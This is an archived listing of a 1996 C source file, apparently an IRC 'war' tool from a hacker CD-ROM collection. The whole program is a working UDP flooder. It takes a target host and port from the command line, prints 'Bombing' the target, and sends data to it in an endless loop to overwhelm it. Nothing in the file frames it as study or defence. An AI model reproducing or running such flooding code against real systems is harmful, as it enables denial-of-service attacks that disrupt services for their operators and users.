home *** CD-ROM | disk | FTP | other *** search
/ HaCKeRz KrOnIcKLeZ 3 / HaCKeRz_KrOnIcKLeZ.iso / ircscripts / warirc / bmb2.c < prev    next >
C/C++ Source or Header  |  1996-04-23  |  1KB  |  50 lines

  1. #define BOMB_STRING "0123456789"
  2. #define BOMB_SIZE 10
  3.  
  4. #include <stdio.h>
  5. #include <sys/param.h>
  6. #include <sys/socket.h>
  7. #include <netinet/in.h>
  8. #include <netdb.h>
  9. #include <stdarg.h>
  10.  
  11. int echo_connect(char *, short);
  12.  
  13. int echo_connect(char *server, short port)
  14. {
  15.    struct sockaddr_in sin;
  16.    struct hostent *hp;
  17.    int thesock;
  18.    
  19.    printf("Bombing %s, port %d\n", server, port);
  20.    hp = gethostbyname(server);
  21.    if (hp==NULL) {
  22.       printf("Unknown host: %s\n",server);
  23.       exit(0);
  24.    }
  25.    bzero((char*) &sin, sizeof(sin));
  26.    bcopy(hp->h_addr, (char *) &sin.sin_addr, hp->h_length);
  27.    sin.sin_family = hp->h_addrtype;
  28.    sin.sin_port = htons(port);
  29.    thesock = socket(AF_INET, SOCK_DGRAM, 0);
  30.    connect(thesock,(struct sockaddr *) &sin, sizeof(sin));   
  31.    return thesock;
  32. }
  33.                              
  34.    
  35. main(int argc, char **argv)
  36. {
  37.    int s;
  38.    if(argc != 3)
  39.    {
  40.       printf("Syntax: bmb host port\n");
  41.       printf("Port can be any port, any of them work equally well\n");
  42.       exit(0);
  43.    }
  44.    s=echo_connect(argv[1], atoi(argv[2]));
  45.    for(;;)
  46.    {
  47.       send(s, BOMB_STRING, BOMB_SIZE, 0);
  48.    }
  49. }
  50.